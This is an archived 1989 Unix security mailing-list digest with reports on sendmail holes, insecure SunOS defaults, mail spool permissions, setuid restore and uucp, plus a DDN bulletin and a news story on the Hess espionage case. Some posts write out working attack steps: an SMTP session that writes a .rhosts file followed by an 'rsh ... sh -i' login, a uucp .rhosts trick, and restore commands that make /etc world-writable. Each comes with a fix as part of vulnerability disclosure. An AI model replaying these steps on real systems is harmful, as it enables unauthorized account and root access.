The 'Security Digest' Archives (TM)

Archive: About | Browse | Search | Contributions | Feedback
Site: Help | Index | Search | Contact | Notices | Changes

ARCHIVE: Zardoz 'Security Digest' - Archives (1989 - 1991)
DOCUMENT: Zardoz 'Security Digest' V1 #34 1989-09-18 (1 file, 10381 bytes)
NOTICE: recognises the rights of all third-party works.


Security Digest Volume 1 Issue 34


            Sequent Symmetry Sendmail
            Sun 4.0.3c sendmail bug etc.
            Mail weakness
            X Security
            Problems with restore on 4.0.1 SunOS ?
            Re: Sun restore
            is this as bad as I think it is? (aliases and uucp)
            Re: uucp nickname
            Re: is this as bad as I think it is? (aliases and uucp)
            DDN Security Bulletin 01
            The Accounting-Program Got Her Man! (German Hackers Nabbed)......


[ Hurricane Hugo forced me to return early - neil ]

Date: Mon, 18 Sep 89 07:38:26 MST
From: "Ric Anderson" <uunet!arizona!ric>
Subject: Sequent Symmetry Sendmail

We just got an S-81 on September 7.  Much to my shock, the old sendmail
debug hole was there and waiting!! I got a patch from Sequent tech support, and
left teeth marks all over the salescritter, since I feel that vendors should
not be sipping "debug capable" sendmail programs at this late date.

This note is for info, in case anyone else bought a Sequent
Symmetry running dynix 3.0.12 recently...


Date: Mon, 18 Sep 89 19:28:44 +0300
From: Jyrki Kuoppala <uunet!!jkp>
Subject: Sun 4.0.3c sendmail bug etc.

( An example about the Sun sendmail bug)

> data
> 354 Enter mail, end with "." on a line by itself
> ignore
> [ Did your posting get chopped off here?  This is all I received - neil ]

Apparently it did; there was only a dot on the line after the `ignore'
and apparently there's still some bugs in some mailers between us and which chps mail at the point where there's a dot on the line.
I should have remembered that sendmail bug; perhaps this also should
be debugged and found out where the bug is.  Sorry.  I'm resending the
message with the dot omitted:

Ah well, time for some Sun-bashing again.  Nothing much new here, but
seems that the old bugs haven't been fixed and more ways to use them
have surfaced because of this.  Also, if you thought that sendmail was
fixed in 4.0.3, you were wrong.  I reported the sendmail thing
earlier, but as I was (mis)informed that it's fixed in 4.0.3, I didn't
take a closer look at it (we didn't have 4.0.3 at the time) [update:
I talked to the guy with whom we debugged the sendmail today and it's
a bit different, although a very similar bug in sendmail se the origin
is probably the same // jkp].

I was promised to be sent an address for the person in charge of
security bugs inside Sun when I reported the rwalld / wall security
problem to the Sun-Spots mailing list (which is gatewayed to
comp.sys.sun), but I never got it.  So I'm CC'ing this to some people
on the Sun which may not be the right people but perhaps can forward
the mail to the right address. [ update: I got the address for the
person now.  Thanks ! //jkp ].

Here's some sad facts about the default configuration of a
Sparcstation running SunOS 4.0.3c, in some kind of order of seriousness:

1. The sendmail in 4.0.3c is still buggy.  Anyone who can access the
sendmail daemon (connect to the smtp port) can write to any existing
file writable by any user other than root.  It's easy to get access to any
user's account by writing into her .rhosts file.  Here's an example: '~' 1: tn your.friendly.sun smtp
Trying ...
Connected to your.friendly.sun.
Escape character is '^]'.
220 your.friendly.sun Sendmail 4.0/SMI-4.0 ready at Sun, 17 Sep 89 03:18:08 +0300
mail from: <>
250 <>... Sender ok
rcpt to: /etc/passwd
554 /etc/passwd... Cannot mail directly to files
rcpt to: /etc/passwd
550 /etc/passwd... Addressee unknown
354 Enter mail, end with "." on a line by itself
< this line contains a single dot what I can't include because a
mailer will chop the mail if I do >
250 Mail accepted
mail from: joeuser
554 /etc/passwd... Possible alias loop
rcpt to: /usr/users/joeuser/.rhosts
250 /usr/users/joeuser/.rhosts... Recipient ok
503 Need MAIL command
mail from: joeuser
250 joeuser... Sender ok
354 Enter mail, end with "." on a line by itself jkp
< this line contains a single dot what I can't include because a
mailer will chop the mail if I do >
250 Mail accepted
221 your.friendly.sun delivering mail
Connection closed by foreign host. '~' 2: rsh your.friendly.sun -l joeuser sh -i

FIX: get UCB sendmail version 5.61 or later.  Also the one from uunet
(at least the MX version) seems to work, but I don't know what that's
based on so I can't be sure.

2. /usr/bin/uudecode is not suid anything, and there's the mail alias
`decode' which is translated to `|/usr/bin/uudecode'.  This way,
anybody who can send mail to your machine can write to any
daemon-writable file and worse yet, anybody who can connect to your
machine via smtp (the sendmail daemon) can write any file writable by
any other user than root because sendmail runs as the sender as
specified with `from: sender'.

FIX: delete the `decode' alias

3. /etc/hosts.equiv contains +, so anyone from the network can access
the machine.

FIX: delete the /etc/hosts.equiv file or edit to to be sensible

4. /.cshrc's `set path' command has dot as the first component of

FIX: edit /.cshrc to remove . from the path

5. /etc/utmp is world-writable.  This was one of the original causes
ogf the rwall / wall / tftp hole, and probably takes part in other not
yet surfaced security holes.

FIX : chmod og-w /etc/utmp

5. rpc.rexd still exists with no mention about the fact that enabling
it (without the -s option) on a networked Sun is the equivalent of
leaving the machine without the root password.  Further, the hint to
that effect from the manual page (talk about an understatement !) has
been removed:

     Should be better access control.

FIX: Don't use rexd

6. uucp's home directory is /var/spool/uucppublic and it's login shell
is /bin/sh (the login shell is omitted which defaults to /bin/sh).
/var/spool/uucppublic is world-writable.  Any user on the system can

cat > x
myhost myname
uucp x ~uucp/.rhosts
rsh myhost -l uucp sh -i

I don't know that much about uucp, but it's probably harmful to let
any user get access to the uucp if uucp is used, and it might well be
possible to use uucp to put the .rhosts file in ~uucp and then log in
via the network.

FIX: change the login shell of uucp to /nonexistent or some such.

Hmm, I think there was still something but I forgot.  Perhaps it'll
come to my mind later.

On the bright side: now rshd and rlogind won't accept connections from
ports <= 512.  Perhaps there's still some hope left concerning the
other bugs.

Anyway, in my opinion the abovementioned bugs are unforgivable, as
they've been publicized a long time ago. 3, 4 and 6 are just plain bad
manners and 5 seems like an evil trap for customers and other vendors
using SunRPC (I know of one one vendor who has the rexd service turned
on by default).  Also, Sun is just asking for trouble using their own
version of sendmail based on God-knows-what when 5.61 from Berkeley is
out and Berkeley says that anything before 5.61 (or was it 5.60 ?) has
serious security holes.

To make security holes disappear in general, I see no other way than
to publicize the holes widely enough, after first giving the vendors
time to develope a bug-fix and distribute it to their customers via
ordinary support channels and also channels like mailing-lists and
archive server so people without services contracts won't be left out
in the cold.  I personally think that it would be a good thing to
distribute the mailing list to a newsgroup after say
three monts so that the bug-fixes have been developed and distributed.

Since these bugs have been widely publicized before and solutions are
easy, I will send a copy of this message (perhaps slightly modified)
to the Sun-Spots mailing list in a week or so.

[ I feel a certain amount of misgivings about doing so.  While a lot
of people know about the bugs that you mention, there are still a lot
of new students out there.  There are a lot of systems out there that
have users reading sun-spots, but whose system administrators do not
have the time to read sun-spots.  On the other hand, I mostly agree
with the idea of forcing the vendors to fix the easy security holes.
I have had other requests to publish the security holes revealed in
this list after a delay.  If the vast majority of this list's
recipients want that, I will consider it.  I would perhaps favor a
policy of posting bugs after 2 releases of an operating system not
providing a fix, but even then, some of these bugs are not
vendor-specific, and I would hate to penalize the users of systems
that have slowly updated operating systems.  Please send any thoughts
on the matter to security-request, NOT security, and I will tally the
"votes", and let you all know. - neil ]


Date: Mon, 18 Sep 89 19:11:49 BST
From: Frank Wales <uunet!!frank>
Subject: Mail weakness

I don't know whether this is already a known problem, but under the
current release of HP-UX on 9000/800s (3.10), and possibly previously
too, the mail spool directory /usr/spool/mqueue is world-readable and
searchable, and sendmail on this system creates temp files there which
are also world-readable.  This means that anyone could run a "tap" on
all mail passing through this system simply by watching for temporary files
and taking copies.  Mail is not the most secure thing in the world
anyway, but:
  a) it's the medium for distribution of this list, and
  b) there's no reason for this overly permissive behaviour.

I have fixed this locally by removing read and search permissions for other
from /usr/spool/mqueue, and putting the directory itself in group mail,
to which the admin staff belong.  So far no-one else has complained about not
being able to read the mail logs, which doesn't bother me overly.

[Further mumblings about too-lax permissions generally on shipped systems...]


Date: Wed, 20 Sep 89 10:58:11 -0400
From: wcb25@CAS (Bill Banze) <uunet!!wcb25%CAS.BITNET>
Subject: X Security

        Does anyone know of any products, research, etc., addressing
the security holes in X?  Does anyone have a comprehensive list of
the security holes?

        One obvious hole is the lack of access control at the
X server.  Related problems include snooping of unencrypted packets
and network host spoofing.  Any information on this subject would
be appreciated.

[ I don't recall any X specific information on this list, but a
majority of the postings on this list seem to be about network
problems.  Keep on reading the list, and watch for the soon to be
announced (I promise 8-) archive server. - neil ]


Date: Thu, 21 Sep 89 09:33:54 +1000
From: Andrew Worsley <uunet!munnari!!A.Worsley>
Subject: Problems with restore on 4.0.1 SunOS ?

  I just restored a file for someone under SunOS 4.0 and found it set
the owner/permissions even though I didn't ask it to and I wasn't
root. In SunOS 4.0.1 restore is now setuid root (It isn't on SunOS
3.5). Users can now restore files so they are owned by other people
which seems like a dangerous thing to allow although I haven't proven
it is possible to "crack" root this way. Prehaps restoring a version
of /etc/passwd or some other critical file? Any comments anyone ?

[ This was discussed in volume 1, issue 26, that was posted July 27,
1989.  The consensus was that restore should not be setuid root or
should not be world executable. - neil ]


Date: Thu, 21 Sep 89 09:55:38 CDT
From: uunet!!br (Bill Ross)
Subject: Re: Sun restore

 > In SunOS 4.0.1 restore is now setuid root (It isn't on SunOS
 > 3.5). Users can now restore files so they are owned by other people
 > which seems like a dangerous thing to allow although I haven't proven
 > it is possible to "crack" root this way. Prehaps restoring a version
 > of /etc/passwd or some other critical file? Any comments anyone ?
 >      Andrew Worsley

  Yes, a setuid restore is a problem.  Imagine a user who
  has a dump file for a partition that is mode 777 (that is,
  the root directory of the partition that was dumped is 777).
  He need simply follow these steps to have his way:

        1. cd /tmp
        2. restore ivf dumpfile
        3. extract (nothing)
        4. respond "yes" to "set owner/mode for '.'?"

  /etc will now be mode 777.  Uh oh.
  I talked to Sun about this last winter.  They said it would
  be fixed pronto.  It was however, not fixed in 4.0.3.
  The easiest solution is to simply chmod u-s /usr/etc/restore.

  Here is a little example:

        wubr> cd /etc
        wubr> ls -lgd
        drwxr-xr-x  4 root     wheel        1536 Sep  8 08:09 .
        wubr> restore ivf /tmp/rootdump
        restore > extract
        set owner/mode for '.'? [yn] y
        restore > quit
        wubr> ls -lgd
        drwxrwxrwx  4 root     wheel        1536 Aug 28 15:48 .


Date: Fri, 22 Sep 89 14:51:58 MDT
From: uunet!cadnetix.COM!rusty (Rusty Carruth)
Subject: is this as bad as I think it is? (aliases and uucp)

This may not be as dangerous as I think it is, but - I just saw this:

Subject: Re: uucp nickname
Newsgroups: comp.unix.wizards

In article <> someone writes:
>I will tell you about my experiences using the uucp distributed with
>AT&T System V rel. 2 and above. ...
>We support many client sites using TB+ modems and uucp.  We ship files
>of all types using simple uucp.  When our company connected our different
>machines together using StarLan, the software didn't like the machines
>having identical names.  (All of the client sites use the same name in
>their Systems file.)  When we changed the system names to accommodate
>StarLan, the client sites all said "you are unknown to me."  We were
>faced with changing all of those systems files remotely.  Instead we
>found the MYNAME modifier in the Permissions file.  The permissions file
>is normally used to specify what machines can do when they call your system.
>However the MACHINE entries are used to specify permissions when you call
>another system.  One of the options in a MACHINE entry is MYNAME.  This
>allows you to use any name you wish when you call another system.  Here
>is a sample entry.
>       MACHINE=remote \
>       MYNAME=alias_name
>Where remote is the name of the machine you are calling, and alias_name
>is the name the other machine expects.  By adding this entry to the
>Permissions file on all our machines, we continue to call clients
>from any machine, w/o changing anything on the other end. (how VERY
>wonderful, since I would have had to make the changes. :-)
>To verify that you are calling a system us that seing the alias_name, use
>       $ uucheck -v
>to check your uucp files.
>You should see something like:
>       When we call systems(s): (remote)
>               [* Stuff deleted *]
>               Myname for the conversation will be alias_name.
>This knowledge has been gleaned from reading between the lines of the AT&T
>manuals, and a book titled: "Managing uucp and Usenet" by O'Reilly &

I suppose that *most* uucp links are not going to allow people to
do too much strange stuff, but this ability to alias yourself seems
bad to me.


Date: Mon, 25 Sep 89 07:52:13 edt
From: uunet!rayssd.RAY.COM!dhb
Subject: Re: is this as bad as I think it is? (aliases and uucp)

[ This was posted to sec-rqst, rather than security, PLEASE don't let
your mailer do an automatic reply, edit the posting address - neil ]

> I suppose that *most* uucp links are not going to allow people to
> do too much strange stuff, but this ability to alias yourself seems
> bad to me.

The ability to change the name that uucp uses to identify the local machine
is no more of a problem than anything else.  If I have permissions to edit
the Permissions file then chances are I am the systems administrator and I
could just as easily change the name of my machine and then invoke uucico.
Being able to specify the name in the Permissions file appears to be intended
for exactly the situation it was being used for here, to make multiple machines
appear to be the same machine to the outside world.


Date: Fri, 22 Sep 89 15:15:45 PDT
From: DDN Reference <uunet!NIC.DDN.MIL!NIC>
Subject: DDN Security Bulletin 01


DDN Security Bulletin 01         DCA DDN Defense Communications System
22 Sep 89               Published by: DDN Security Coordination Center
                                     (SCC@NIC.DDN.MIL)  (800) 235-3155

                        DEFENSE  DATA  NETWORK
                          SECURITY  BULLETIN

The DDN SECURITY  BULLETIN is distributed  online by the  DDN Security
Coordination Center  under DCA  contract as  a means  of communicating
information on network and host security exposures, fixes, &  concerns
to security & management personnel at DDN facilities.  Back issues may
be obtained via  FTP (or Kermit)  from the SRI-NIC  host [ or] using login="anonymous" and password="guest".  The pathname
for  bulletins  is  DDN-NEWS:DDN-SECURITY-nn.TXT  (where  "nn"  is the
bulletin number).



1.  The Defense  Communications Agency has  created a facility to help
the  DDN  community  when  security-related  situations  occur.   The
function of the DDN Security Coordination Center (SCC) is to provide a
centralized and  coordinated capability  for the  rapid, reliable, and
secure distribution  and coordination of security  related information
between DDN users, operations staff, and system maintenance providers.

2.  The  Defense  Data  Network  Security  Coordination  Center is now

3.  In the past,  the unclassified  DoD Internet  has seen  a rash  of
security incidents.  Typically, these  incidents were due to  commonly
known  software  weaknesses  in  UNIX-based  host  products.   In  one
instance, the exposure had had a fix published several weeks before it
was  exploited  by  a  hacker.   DARPA  and other Agencies established
Computer Emergency Response  Teams (CERTs) to  report security-related
problems to vendors and assist in validating/verifying their fixes.

4.  But there was no central clearinghouse in place coordinating  and
disseminating security-related  fixes to  MILNET users.   In the past,
the  Network  Information  Center  (NIC)  had  been  pressed into this
service,  and  the  contractor  (SRI)  has  done an excellent job when
called upon.   But the NIC was never intended  to handle  such a task.
Now  DCA  has  funded  SCC  to  be  DDN's  clearinghouse for host/user
security problems and fixes and to work with the DDN Network  Security
Officer as needed.

5.  The SCC is ready to assist you with network-related host security
problems.  Call (800) 235-3155 (7:00 a.m. to 5:00 p.m. Pacific Time) or
send e-Mail to SCC@NIC.DDN.MIL.  For 24 hour coverage, call the MILNET
Trouble Desk (800) 451-7413 or AUTOVON 231-1713.



Date: Wed, 20 Sep 1989 11:20:03 CDT
From: Werner Uhrig <uunet!rascal.ics.UTEXAS.EDU!werner>
Subject: The Accounting-Program Got Her Man! (German Hackers Nabbed)......

[ This is the last posting of this digest - neil ]

                Three Charged In Unix Espionage

                         (by Evan Schuman)

(Karlsruhe, West Germany)  -  Three West Germans who allegedly sold
military information "stolen" from Unix systems in the U.S. and other
Western countries to the Soviet KGB have been indicted by West Germany
on espionage charges.

In a plot that sounds as though it was lifted from a James Bond film,
the members of the "Chaos Computer Club" worked through a KGB agent
code-named "Serge" who worked in the Soviet trade mission in East
Berlin, the indictment said.

Statements issued by the West German prosecutor's office accused
members of the Chaos club of being "secret agents" for the Soviet
Union. Authorities in West Germany, where the indictment was handed
down on Aug. 16, said club members were paid the equivalent of about
$46,000 for 25 information deliveries over a two-year period ending
in March 1989.

Despite the extensive penetrations, West German and U.S. authorities
said it appeared that those breaking into the systems had obtained
very little sensitive information, but information that merely looked

While the stolen material included abstracts of U.S. Army plans for
nuclear, biological and chemical warfare in central Europe, authori-
ties said, the material was not classified and was out-of-date
speculative material.

"They were not very good," said one official involved in the case.
"There is little they obtained that could not be found in a good
university library."

The defendants were identified in the indictment merely as Markus H.,
28; Peter C., 35; and Dirk B., 30.  Authorities involved in the case
have confirmed that Peter C. is Peter Carl, a former casino croupier
who had previously been held on suspicion of espionage, and that
Markus H. is Markus Hess, a computer programmer.

It was Hess's efforts to break into the U.S. computer systems that al-
lowed the authorities to learn of the team, officials said.

Astronomer Clifford Stoll, who was then working at Lawrence Berkeley
Laboratory and is now a scientist at the Harvard-Smithsonian Center
for Astrophysics, is credited by West German prosecutors with first
detecting Hess when Hess allegedly tried breaking into Lawrence

"It turns out that doing cost-accounting was what tripped him up,"
said David Stevens, the computer protection program manager at
Lawrence Berkeley.

When the intruder broke into the system, he created his own file to
work out of, Stevens said. But the computer detected that the account
had not gone through the standard cost-accounting system, and Sto]l
was alerted.

That notification began a massive detective project, with Stoll - who
now says his favorite sideline is "Unix sleuthing" - working with
federal authorities as the intruder was baited, lured, tantalized,
watched and traced for months.

During the subsequent 10 months, Stoll said he watched Hess attack
about 450 computers and successfully enter more than 30.  "We
captured all of his keystrokes on a printer and saw how he used a
subtle bug in the GNU-Emacs text editor to obtain system manager
privileges," Stoll wrote in a report for Communications of the ACM.
"At first we suspected that the culprit was a student prankster at
the nearby University of California."  The intruder's efforts,
however, soon suggested more of an espionage interest, with constant
file searches for keywords including "nuclear," "SDI," "KH-ll'' and
"NORAD." SDI is the Strategic Defense Initiative, more commonly
called the Star Wars program. KH-11 is an American spy satellite .
NORAD stands for North American Defense, which is the American
headquarters for missile tracking.

A variety of security lapses were exploited by the intruder, including
users' habit of leaving E-mail describing login sequences with
account names and passwords saved in foreign nodes, allowing a file
browser to obtain access into a distant system.

"In this manner, he was able to obtain both passwords and access
mechanisms into a Cray supercomputer," Stoll wrote.

In one creative moment, Stoll estimated that the suspect was using a
midsize VAX machine because of the speed with which he cracked pass-
words and an estimated size of the dictionary he was probably using.

The West German indictment said the group first approached the KGB in
September 1986 and offered a sample delivery of intelligence, including
evidence of various penetrations and the directories of several
illegally entered computers.

The Soviets, according to the indictment, showed particular interest
in source code of several operating systems especially Unix - and
in CAD programs for robots, electronic components and equipment for
airplane and chip construction.

The indictment said the defendants had tried selling the KGB passwords,
telephone numbers and lessons in breaking into the systems
what the indictment termed "hacker know-how" but the Soviets refused
to learn Unix, insisting that they would only pay for actual information.


        End of Security Digest Volume 1 Issue 34